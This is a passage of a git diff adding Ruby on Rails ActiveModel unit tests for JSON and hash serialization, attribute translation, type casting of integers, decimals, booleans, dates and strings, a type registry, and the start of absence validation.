+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "address" => { "street" => "123 Lane" } }
+    assert_equal expected, @user.serializable_hash(include: { address: { only: "street" } })
+  end
+
+  def test_nested_include
+    @user.friends.first.friends = [@user]
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com", "gender" => "male",
+                            "friends" => [{ "email" => "david@example.com", "gender" => "male", "name" => "David" }] },
+                            { "name" => "Sue", "email" => "sue@example.com", "gender" => "female", "friends" => [] }] }
+    assert_equal expected, @user.serializable_hash(include: { friends: { include: :friends } })
+  end
+
+  def test_only_include
+    expected = { "name" => "David", "friends" => [{ "name" => "Joe" }, { "name" => "Sue" }] }
+    assert_equal expected, @user.serializable_hash(only: :name, include: { friends: { only: :name } })
+  end
+
+  def test_except_include
+    expected = { "name" => "David", "email" => "david@example.com",
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com" },
+                             { "name" => "Sue", "email" => "sue@example.com" }] }
+    assert_equal expected, @user.serializable_hash(except: :gender, include: { friends: { except: :gender } })
+  end
+
+  def test_multiple_includes_with_options
+    expected = { "email" => "david@example.com", "gender" => "male", "name" => "David",
+                "address" => { "street" => "123 Lane" },
+                "friends" => [{ "name" => "Joe", "email" => "joe@example.com", "gender" => "male" },
+                           { "name" => "Sue", "email" => "sue@example.com", "gender" => "female" }] }
+    assert_equal expected, @user.serializable_hash(include: [{ address: { only: "street" } }, :friends])
+  end
+end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
new file mode 100644
index 0000000000..aae98c9fe4
--- /dev/null
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/contact"
+require "active_support/core_ext/object/instance_variables"
+
+class JsonSerializationTest < ActiveModel::TestCase
+  def setup
+    @contact = Contact.new
+    @contact.name = "Konata Izumi"
+    @contact.age = 16
+    @contact.created_at = Time.utc(2006, 8, 1)
+    @contact.awesome = true
+    @contact.preferences = { "shows" => "anime" }
+  end
+
+  test "should not include root in json (class method)" do
+    json = @contact.to_json
+
+    assert_no_match %r{^\{"contact":\{}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  test "should include root in json if include_root_in_json is true" do
+    begin
+      original_include_root_in_json = Contact.include_root_in_json
+      Contact.include_root_in_json = true
+      json = @contact.to_json
+
+      assert_match %r{^\{"contact":\{}, json
+      assert_match %r{"name":"Konata Izumi"}, json
+      assert_match %r{"age":16}, json
+      assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+      assert_match %r{"awesome":true}, json
+      assert_match %r{"preferences":\{"shows":"anime"\}}, json
+    ensure
+      Contact.include_root_in_json = original_include_root_in_json
+    end
+  end
+
+  test "should include root in json (option) even if the default is set to false" do
+    json = @contact.to_json(root: true)
+
+    assert_match %r{^\{"contact":\{}, json
+  end
+
+  test "should not include root in json (option)" do
+    json = @contact.to_json(root: false)
+
+    assert_no_match %r{^\{"contact":\{}, json
+  end
+
+  test "should include custom root in json" do
+    json = @contact.to_json(root: "json_contact")
+
+    assert_match %r{^\{"json_contact":\{}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  test "should encode all encodable attributes" do
+    json = @contact.to_json
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  test "should allow attribute filtering with only" do
+    json = @contact.to_json(only: [:name, :age])
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_no_match %r{"awesome":true}, json
+    assert_not_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  test "should allow attribute filtering with except" do
+    json = @contact.to_json(except: [:name, :age])
+
+    assert_no_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{"age":16}, json
+    assert_match %r{"awesome":true}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  test "methods are called on object" do
+    # Define methods on fixture.
+    def @contact.label; "Has cheezburger"; end
+    def @contact.favorite_quote; "Constraints are liberating"; end
+
+    # Single method.
+    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(only: :name, methods: :label)
+
+    # Both methods.
+    methods_json = @contact.to_json(only: :name, methods: [:label, :favorite_quote])
+    assert_match %r{"label":"Has cheezburger"}, methods_json
+    assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
+  end
+
+  test "should return Hash for errors" do
+    contact = Contact.new
+    contact.errors.add :name, "can't be blank"
+    contact.errors.add :name, "is too short (minimum is 2 characters)"
+    contact.errors.add :age, "must be 16 or over"
+
+    hash = {}
+    hash[:name] = ["can't be blank", "is too short (minimum is 2 characters)"]
+    hash[:age]  = ["must be 16 or over"]
+    assert_equal hash.to_json, contact.errors.to_json
+  end
+
+  test "serializable_hash should not modify options passed in argument" do
+    options = { except: :name }
+    @contact.serializable_hash(options)
+
+    assert_nil options[:only]
+    assert_equal :name, options[:except]
+  end
+
+  test "as_json should return a hash if include_root_in_json is true" do
+    begin
+      original_include_root_in_json = Contact.include_root_in_json
+      Contact.include_root_in_json = true
+      json = @contact.as_json
+
+      assert_kind_of Hash, json
+      assert_kind_of Hash, json["contact"]
+      %w(name age created_at awesome preferences).each do |field|
+        assert_equal @contact.send(field), json["contact"][field]
+      end
+    ensure
+      Contact.include_root_in_json = original_include_root_in_json
+    end
+  end
+
+  test "from_json should work without a root (class attribute)" do
+    json = @contact.to_json
+    result = Contact.new.from_json(json)
+
+    assert_equal result.name, @contact.name
+    assert_equal result.age, @contact.age
+    assert_equal Time.parse(result.created_at), @contact.created_at
+    assert_equal result.awesome, @contact.awesome
+    assert_equal result.preferences, @contact.preferences
+  end
+
+  test "from_json should work without a root (method parameter)" do
+    json = @contact.to_json
+    result = Contact.new.from_json(json, false)
+
+    assert_equal result.name, @contact.name
+    assert_equal result.age, @contact.age
+    assert_equal Time.parse(result.created_at), @contact.created_at
+    assert_equal result.awesome, @contact.awesome
+    assert_equal result.preferences, @contact.preferences
+  end
+
+  test "from_json should work with a root (method parameter)" do
+    json = @contact.to_json(root: :true)
+    result = Contact.new.from_json(json, true)
+
+    assert_equal result.name, @contact.name
+    assert_equal result.age, @contact.age
+    assert_equal Time.parse(result.created_at), @contact.created_at
+    assert_equal result.awesome, @contact.awesome
+    assert_equal result.preferences, @contact.preferences
+  end
+
+  test "custom as_json should be honored when generating json" do
+    def @contact.as_json(options); { name: name, created_at: created_at }; end
+    json = @contact.to_json
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json
+    assert_no_match %r{"awesome":}, json
+    assert_no_match %r{"preferences":}, json
+  end
+
+  test "custom as_json options should be extensible" do
+    def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
+    json = @contact.to_json
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json
+    assert_no_match %r{"awesome":}, json
+    assert_no_match %r{"preferences":}, json
+  end
+
+  test "Class.model_name should be json encodable" do
+    assert_match %r{"Contact"}, Contact.model_name.to_json
+  end
+end
diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb
new file mode 100644
index 0000000000..cd75afec9e
--- /dev/null
+++ b/activemodel/test/cases/translation_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+class ActiveModelI18nTests < ActiveModel::TestCase
+  def setup
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def teardown
+    I18n.backend.reload!
+  end
+
+  def test_translated_model_attributes
+    I18n.backend.store_translations "en", activemodel: { attributes: { person: { name: "person name attribute" } } }
+    assert_equal "person name attribute", Person.human_attribute_name("name")
+  end
+
+  def test_translated_model_attributes_with_default
+    I18n.backend.store_translations "en", attributes: { name: "name default attribute" }
+    assert_equal "name default attribute", Person.human_attribute_name("name")
+  end
+
+  def test_translated_model_attributes_using_default_option
+    assert_equal "name default attribute", Person.human_attribute_name("name", default: "name default attribute")
+  end
+
+  def test_translated_model_attributes_using_default_option_as_symbol
+    I18n.backend.store_translations "en", default_name: "name default attribute"
+    assert_equal "name default attribute", Person.human_attribute_name("name", default: :default_name)
+  end
+
+  def test_translated_model_attributes_falling_back_to_default
+    assert_equal "Name", Person.human_attribute_name("name")
+  end
+
+  def test_translated_model_attributes_using_default_option_as_symbol_and_falling_back_to_default
+    assert_equal "Name", Person.human_attribute_name("name", default: :default_name)
+  end
+
+  def test_translated_model_attributes_with_symbols
+    I18n.backend.store_translations "en", activemodel: { attributes: { person: { name: "person name attribute" } } }
+    assert_equal "person name attribute", Person.human_attribute_name(:name)
+  end
+
+  def test_translated_model_attributes_with_ancestor
+    I18n.backend.store_translations "en", activemodel: { attributes: { child: { name: "child name attribute" } } }
+    assert_equal "child name attribute", Child.human_attribute_name("name")
+  end
+
+  def test_translated_model_attributes_with_ancestors_fallback
+    I18n.backend.store_translations "en", activemodel: { attributes: { person: { name: "person name attribute" } } }
+    assert_equal "person name attribute", Child.human_attribute_name("name")
+  end
+
+  def test_translated_model_attributes_with_attribute_matching_namespaced_model_name
+    I18n.backend.store_translations "en", activemodel: { attributes: {
+      person: { gender: "person gender" },
+      "person/gender": { attribute: "person gender attribute" }
+    } }
+
+    assert_equal "person gender", Person.human_attribute_name("gender")
+    assert_equal "person gender attribute", Person::Gender.human_attribute_name("attribute")
+  end
+
+  def test_translated_deeply_nested_model_attributes
+    I18n.backend.store_translations "en", activemodel: { attributes: { "person/contacts/addresses": { street: "Deeply Nested Address Street" } } }
+    assert_equal "Deeply Nested Address Street", Person.human_attribute_name("contacts.addresses.street")
+  end
+
+  def test_translated_nested_model_attributes
+    I18n.backend.store_translations "en", activemodel: { attributes: { "person/addresses": { street: "Person Address Street" } } }
+    assert_equal "Person Address Street", Person.human_attribute_name("addresses.street")
+  end
+
+  def test_translated_nested_model_attributes_with_namespace_fallback
+    I18n.backend.store_translations "en", activemodel: { attributes: { addresses: { street: "Cool Address Street" } } }
+    assert_equal "Cool Address Street", Person.human_attribute_name("addresses.street")
+  end
+
+  def test_translated_model_names
+    I18n.backend.store_translations "en", activemodel: { models: { person: "person model" } }
+    assert_equal "person model", Person.model_name.human
+  end
+
+  def test_translated_model_names_with_sti
+    I18n.backend.store_translations "en", activemodel: { models: { child: "child model" } }
+    assert_equal "child model", Child.model_name.human
+  end
+
+  def test_translated_model_with_namespace
+    I18n.backend.store_translations "en", activemodel: { models: { 'person/gender': "gender model" } }
+    assert_equal "gender model", Person::Gender.model_name.human
+  end
+
+  def test_translated_model_names_with_ancestors_fallback
+    I18n.backend.store_translations "en", activemodel: { models: { person: "person model" } }
+    assert_equal "person model", Child.model_name.human
+  end
+
+  def test_human_does_not_modify_options
+    options = { default: "person model" }
+    Person.model_name.human(options)
+    assert_equal({ default: "person model" }, options)
+  end
+
+  def test_human_attribute_name_does_not_modify_options
+    options = { default: "Cool gender" }
+    Person.human_attribute_name("gender", options)
+    assert_equal({ default: "Cool gender" }, options)
+  end
+end
diff --git a/activemodel/test/cases/type/big_integer_test.rb b/activemodel/test/cases/type/big_integer_test.rb
new file mode 100644
index 0000000000..3d29235d52
--- /dev/null
+++ b/activemodel/test/cases/type/big_integer_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class BigIntegerTest < ActiveModel::TestCase
+      def test_type_cast_big_integer
+        type = Type::BigInteger.new
+        assert_equal 1, type.cast(1)
+        assert_equal 1, type.cast("1")
+      end
+
+      def test_small_values
+        type = Type::BigInteger.new
+        assert_equal(-9999999999999999999999999999999, type.serialize(-9999999999999999999999999999999))
+      end
+
+      def test_large_values
+        type = Type::BigInteger.new
+        assert_equal 9999999999999999999999999999999, type.serialize(9999999999999999999999999999999)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/binary_test.rb b/activemodel/test/cases/type/binary_test.rb
new file mode 100644
index 0000000000..ef4f125a3b
--- /dev/null
+++ b/activemodel/test/cases/type/binary_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class BinaryTest < ActiveModel::TestCase
+      def test_type_cast_binary
+        type = Type::Binary.new
+        assert_nil type.cast(nil)
+        assert_equal "1", type.cast("1")
+        assert_equal 1, type.cast(1)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/boolean_test.rb b/activemodel/test/cases/type/boolean_test.rb
new file mode 100644
index 0000000000..97b165ab48
--- /dev/null
+++ b/activemodel/test/cases/type/boolean_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class BooleanTest < ActiveModel::TestCase
+      def test_type_cast_boolean
+        type = Type::Boolean.new
+        assert type.cast("").nil?
+        assert type.cast(nil).nil?
+
+        assert type.cast(true)
+        assert type.cast(1)
+        assert type.cast("1")
+        assert type.cast("t")
+        assert type.cast("T")
+        assert type.cast("true")
+        assert type.cast("TRUE")
+        assert type.cast("on")
+        assert type.cast("ON")
+        assert type.cast(" ")
+        assert type.cast("\u3000\r\n")
+        assert type.cast("\u0000")
+        assert type.cast("SOMETHING RANDOM")
+
+        # explicitly check for false vs nil
+        assert_equal false, type.cast(false)
+        assert_equal false, type.cast(0)
+        assert_equal false, type.cast("0")
+        assert_equal false, type.cast("f")
+        assert_equal false, type.cast("F")
+        assert_equal false, type.cast("false")
+        assert_equal false, type.cast("FALSE")
+        assert_equal false, type.cast("off")
+        assert_equal false, type.cast("OFF")
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/date_test.rb b/activemodel/test/cases/type/date_test.rb
new file mode 100644
index 0000000000..15c40a37b7
--- /dev/null
+++ b/activemodel/test/cases/type/date_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class DateTest < ActiveModel::TestCase
+      def test_type_cast_date
+        type = Type::Date.new
+        assert_nil type.cast(nil)
+        assert_nil type.cast("")
+        assert_nil type.cast(" ")
+        assert_nil type.cast("ABC")
+
+        date_string = ::Time.now.utc.strftime("%F")
+        assert_equal date_string, type.cast(date_string).strftime("%F")
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/date_time_test.rb b/activemodel/test/cases/type/date_time_test.rb
new file mode 100644
index 0000000000..598ccf485e
--- /dev/null
+++ b/activemodel/test/cases/type/date_time_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class DateTimeTest < ActiveModel::TestCase
+      def test_type_cast_datetime_and_timestamp
+        type = Type::DateTime.new
+        assert_nil type.cast(nil)
+        assert_nil type.cast("")
+        assert_nil type.cast("  ")
+        assert_nil type.cast("ABC")
+
+        datetime_string = ::Time.now.utc.strftime("%FT%T")
+        assert_equal datetime_string, type.cast(datetime_string).strftime("%FT%T")
+      end
+
+      def test_string_to_time_with_timezone
+        ["UTC", "US/Eastern"].each do |zone|
+          with_timezone_config default: zone do
+            type = Type::DateTime.new
+            assert_equal ::Time.utc(2013, 9, 4, 0, 0, 0), type.cast("Wed, 04 Sep 2013 03:00:00 EAT")
+          end
+        end
+      end
+
+      private
+
+        def with_timezone_config(default:)
+          old_zone_default = ::Time.zone_default
+          ::Time.zone_default = ::Time.find_zone(default)
+          yield
+        ensure
+          ::Time.zone_default = old_zone_default
+        end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/decimal_test.rb b/activemodel/test/cases/type/decimal_test.rb
new file mode 100644
index 0000000000..a0acdc2736
--- /dev/null
+++ b/activemodel/test/cases/type/decimal_test.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class DecimalTest < ActiveModel::TestCase
+      def test_type_cast_decimal
+        type = Decimal.new
+        assert_equal BigDecimal.new("0"), type.cast(BigDecimal.new("0"))
+        assert_equal BigDecimal.new("123"), type.cast(123.0)
+        assert_equal BigDecimal.new("1"), type.cast(:"1")
+      end
+
+      def test_type_cast_decimal_from_invalid_string
+        type = Decimal.new
+        assert_nil type.cast("")
+        assert_equal BigDecimal.new("1"), type.cast("1ignore")
+        assert_equal BigDecimal.new("0"), type.cast("bad1")
+        assert_equal BigDecimal.new("0"), type.cast("bad")
+      end
+
+      def test_type_cast_decimal_from_float_with_large_precision
+        type = Decimal.new(precision: ::Float::DIG + 2)
+        assert_equal BigDecimal.new("123.0"), type.cast(123.0)
+      end
+
+      def test_type_cast_from_float_with_unspecified_precision
+        type = Decimal.new
+        assert_equal 22.68.to_d, type.cast(22.68)
+      end
+
+      def test_type_cast_decimal_from_rational_with_precision
+        type = Decimal.new(precision: 2)
+        assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3))
+      end
+
+      def test_type_cast_decimal_from_rational_with_precision_and_scale
+        type = Decimal.new(precision: 4, scale: 2)
+        assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3))
+      end
+
+      def test_type_cast_decimal_from_rational_without_precision_defaults_to_18_36
+        type = Decimal.new
+        assert_equal BigDecimal("0.333333333333333333E0"), type.cast(Rational(1, 3))
+      end
+
+      def test_type_cast_decimal_from_object_responding_to_d
+        value = Object.new
+        def value.to_d
+          BigDecimal.new("1")
+        end
+        type = Decimal.new
+        assert_equal BigDecimal("1"), type.cast(value)
+      end
+
+      def test_changed?
+        type = Decimal.new
+
+        assert type.changed?(5.0, 5.0, "5.0wibble")
+        assert_not type.changed?(5.0, 5.0, "5.0")
+        assert_not type.changed?(-5.0, -5.0, "-5.0")
+      end
+
+      def test_scale_is_applied_before_precision_to_prevent_rounding_errors
+        type = Decimal.new(precision: 5, scale: 3)
+
+        assert_equal BigDecimal("1.250"), type.cast(1.250473853637869)
+        assert_equal BigDecimal("1.250"), type.cast("1.250473853637869")
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/float_test.rb b/activemodel/test/cases/type/float_test.rb
new file mode 100644
index 0000000000..46e8b34dfe
--- /dev/null
+++ b/activemodel/test/cases/type/float_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class FloatTest < ActiveModel::TestCase
+      def test_type_cast_float
+        type = Type::Float.new
+        assert_equal 1.0, type.cast("1")
+      end
+
+      def test_type_cast_float_from_invalid_string
+        type = Type::Float.new
+        assert_nil type.cast("")
+        assert_equal 1.0, type.cast("1ignore")
+        assert_equal 0.0, type.cast("bad1")
+        assert_equal 0.0, type.cast("bad")
+      end
+
+      def test_changing_float
+        type = Type::Float.new
+
+        assert type.changed?(5.0, 5.0, "5wibble")
+        assert_not type.changed?(5.0, 5.0, "5")
+        assert_not type.changed?(5.0, 5.0, "5.0")
+        assert_not type.changed?(nil, nil, nil)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/immutable_string_test.rb b/activemodel/test/cases/type/immutable_string_test.rb
new file mode 100644
index 0000000000..72f5779dfb
--- /dev/null
+++ b/activemodel/test/cases/type/immutable_string_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class ImmutableStringTest < ActiveModel::TestCase
+      test "cast strings are frozen" do
+        s = "foo"
+        type = Type::ImmutableString.new
+        assert_equal true, type.cast(s).frozen?
+      end
+
+      test "immutable strings are not duped coming out" do
+        s = "foo"
+        type = Type::ImmutableString.new
+        assert_same s, type.cast(s)
+        assert_same s, type.deserialize(s)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/integer_test.rb b/activemodel/test/cases/type/integer_test.rb
new file mode 100644
index 0000000000..d2e635b447
--- /dev/null
+++ b/activemodel/test/cases/type/integer_test.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+require "active_support/core_ext/numeric/time"
+
+module ActiveModel
+  module Type
+    class IntegerTest < ActiveModel::TestCase
+      test "simple values" do
+        type = Type::Integer.new
+        assert_nil type.cast("")
+        assert_equal 1, type.cast(1)
+        assert_equal 1, type.cast("1")
+        assert_equal 1, type.cast("1ignore")
+        assert_equal 0, type.cast("bad1")
+        assert_equal 0, type.cast("bad")
+        assert_equal 1, type.cast(1.7)
+        assert_equal 0, type.cast(false)
+        assert_equal 1, type.cast(true)
+        assert_nil type.cast(nil)
+      end
+
+      test "random objects cast to nil" do
+        type = Type::Integer.new
+        assert_nil type.cast([1, 2])
+        assert_nil type.cast(1 => 2)
+        assert_nil type.cast(1..2)
+      end
+
+      test "casting objects without to_i" do
+        type = Type::Integer.new
+        assert_nil type.cast(::Object.new)
+      end
+
+      test "casting nan and infinity" do
+        type = Type::Integer.new
+        assert_nil type.cast(::Float::NAN)
+        assert_nil type.cast(1.0 / 0.0)
+      end
+
+      test "casting booleans for database" do
+        type = Type::Integer.new
+        assert_equal 1, type.serialize(true)
+        assert_equal 0, type.serialize(false)
+      end
+
+      test "casting duration" do
+        type = Type::Integer.new
+        assert_equal 1800, type.cast(30.minutes)
+        assert_equal 7200, type.cast(2.hours)
+      end
+
+      test "changed?" do
+        type = Type::Integer.new
+
+        assert type.changed?(5, 5, "5wibble")
+        assert_not type.changed?(5, 5, "5")
+        assert_not type.changed?(5, 5, "5.0")
+        assert_not type.changed?(-5, -5, "-5")
+        assert_not type.changed?(-5, -5, "-5.0")
+        assert_not type.changed?(nil, nil, nil)
+      end
+
+      test "values below int min value are out of range" do
+        assert_raises(ActiveModel::RangeError) do
+          Integer.new.serialize(-2147483649)
+        end
+      end
+
+      test "values above int max value are out of range" do
+        assert_raises(ActiveModel::RangeError) do
+          Integer.new.serialize(2147483648)
+        end
+      end
+
+      test "very small numbers are out of range" do
+        assert_raises(ActiveModel::RangeError) do
+          Integer.new.serialize(-9999999999999999999999999999999)
+        end
+      end
+
+      test "very large numbers are out of range" do
+        assert_raises(ActiveModel::RangeError) do
+          Integer.new.serialize(9999999999999999999999999999999)
+        end
+      end
+
+      test "normal numbers are in range" do
+        type = Integer.new
+        assert_equal(0, type.serialize(0))
+        assert_equal(-1, type.serialize(-1))
+        assert_equal(1, type.serialize(1))
+      end
+
+      test "int max value is in range" do
+        assert_equal(2147483647, Integer.new.serialize(2147483647))
+      end
+
+      test "int min value is in range" do
+        assert_equal(-2147483648, Integer.new.serialize(-2147483648))
+      end
+
+      test "columns with a larger limit have larger ranges" do
+        type = Integer.new(limit: 8)
+
+        assert_equal(9223372036854775807, type.serialize(9223372036854775807))
+        assert_equal(-9223372036854775808, type.serialize(-9223372036854775808))
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize(-9999999999999999999999999999999)
+        end
+        assert_raises(ActiveModel::RangeError) do
+          type.serialize(9999999999999999999999999999999)
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/registry_test.rb b/activemodel/test/cases/type/registry_test.rb
new file mode 100644
index 0000000000..f34104286c
--- /dev/null
+++ b/activemodel/test/cases/type/registry_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class RegistryTest < ActiveModel::TestCase
+      test "a class can be registered for a symbol" do
+        registry = Type::Registry.new
+        registry.register(:foo, ::String)
+        registry.register(:bar, ::Array)
+
+        assert_equal "", registry.lookup(:foo)
+        assert_equal [], registry.lookup(:bar)
+      end
+
+      test "a block can be registered" do
+        registry = Type::Registry.new
+        registry.register(:foo) do |*args|
+          [*args, "block for foo"]
+        end
+        registry.register(:bar) do |*args|
+          [*args, "block for bar"]
+        end
+
+        assert_equal [:foo, 1, "block for foo"], registry.lookup(:foo, 1)
+        assert_equal [:foo, 2, "block for foo"], registry.lookup(:foo, 2)
+        assert_equal [:bar, 1, 2, 3, "block for bar"], registry.lookup(:bar, 1, 2, 3)
+      end
+
+      test "a reasonable error is given when no type is found" do
+        registry = Type::Registry.new
+
+        e = assert_raises(ArgumentError) do
+          registry.lookup(:foo)
+        end
+
+        assert_equal "Unknown type :foo", e.message
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/string_test.rb b/activemodel/test/cases/type/string_test.rb
new file mode 100644
index 0000000000..d39389718b
--- /dev/null
+++ b/activemodel/test/cases/type/string_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class StringTest < ActiveModel::TestCase
+      test "type casting" do
+        type = Type::String.new
+        assert_equal "t", type.cast(true)
+        assert_equal "f", type.cast(false)
+        assert_equal "123", type.cast(123)
+      end
+
+      test "cast strings are mutable" do
+        type = Type::String.new
+
+        s = "foo".dup
+        assert_equal false, type.cast(s).frozen?
+        assert_equal false, s.frozen?
+
+        f = "foo".freeze
+        assert_equal false, type.cast(f).frozen?
+        assert_equal true, f.frozen?
+      end
+
+      test "values are duped coming out" do
+        type = Type::String.new
+
+        s = "foo"
+        assert_not_same s, type.cast(s)
+        assert_equal s, type.cast(s)
+        assert_not_same s, type.deserialize(s)
+        assert_equal s, type.deserialize(s)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/time_test.rb b/activemodel/test/cases/type/time_test.rb
new file mode 100644
index 0000000000..0bea95768d
--- /dev/null
+++ b/activemodel/test/cases/type/time_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class TimeTest < ActiveModel::TestCase
+      def test_type_cast_time
+        type = Type::Time.new
+        assert_nil type.cast(nil)
+        assert_nil type.cast("")
+        assert_nil type.cast("ABC")
+
+        time_string = ::Time.now.utc.strftime("%T")
+        assert_equal time_string, type.cast(time_string).strftime("%T")
+
+        assert_equal ::Time.utc(2000,  1,  1, 16, 45, 54), type.cast("2015-06-13T19:45:54+03:00")
+        assert_equal ::Time.utc(1999, 12, 31, 21,  7,  8), type.cast("06:07:08+09:00")
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/type/value_test.rb b/activemodel/test/cases/type/value_test.rb
new file mode 100644
index 0000000000..671343b0c8
--- /dev/null
+++ b/activemodel/test/cases/type/value_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/type"
+
+module ActiveModel
+  module Type
+    class ValueTest < ActiveModel::TestCase
+      def test_type_equality
+        assert_equal Type::Value.new, Type::Value.new
+        assert_not_equal Type::Value.new, Type::Integer.new
+        assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2)
+      end
+    end
+  end
+end
diff --git a/activemodel/test/cases/validations/absence_validation_test.rb b/activemodel/test/cases/validations/absence_validation_test.rb
new file mode 100644
index 0000000000..801577474a
--- /dev/null
+++ b/activemodel/test/cases/validations/absence_validation_test.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/person"
+require "models/custom_reader"
+
+class AbsenceValidationTest < ActiveModel::TestCase
+  teardown do
+    Topic.clear_validators!
+    Person.clear_validators!
+    CustomReader.clear_validators!
+  end
+
+  def test_validates_absence_of
+    Topic.validates_absence_of(:title, :content)
+    t = Topic.new
+    t.title = "foo"
+    t.content = "bar"
+    assert t.invalid?
+    assert_equal ["must be blank"], t.errors[:title]
+    assert_equal ["must be blank"], t.errors[:content]
+    t.title = ""
+    t.content = "something"
+    assert t.invalid?
+    assert_equal ["must be blank"], t.errors[:content]
+    assert_equal [], t.errors[:title]
+    t.content = ""
+    assert t.valid?
+  end
+
+  def test_validates_absence_of_with_array_arguments
+    Topic.validates_absence_of %w(title content)
+    t = Topic.new
+    t.title = "foo"
+    t.content = "bar"
+    assert t.invalid?
+    assert_equal ["must be blank"], t.errors[:title]
+    assert_equal ["must be blank"], t.errors[:content]
+  end
+
+  def test_validates_absence_of_with_custom_error_using_quotes
+    Person.validates_absence_of :karma, message: "This string contains 'single' and \"double\" quotes"
+    p = Person.new
+    p.karma = "good"
+    assert p.invalid?
+    assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
+  end
+
+  def test_validates_absence_of_for_ruby_class
+    Person.validates_absence_of :karma
+    p = Person.new
+    p.karma = "good"
+    assert p.invalid?
+    assert_equal ["must be blank"], p.errors[:karma]
+    p.karma = nil
+    assert p.valid?
+  end
+
+  def test_validates_absence_of_for_ruby_class_with_custom_reader
+    CustomReader.validates_absence_of :karma
+    p = CustomReader.new
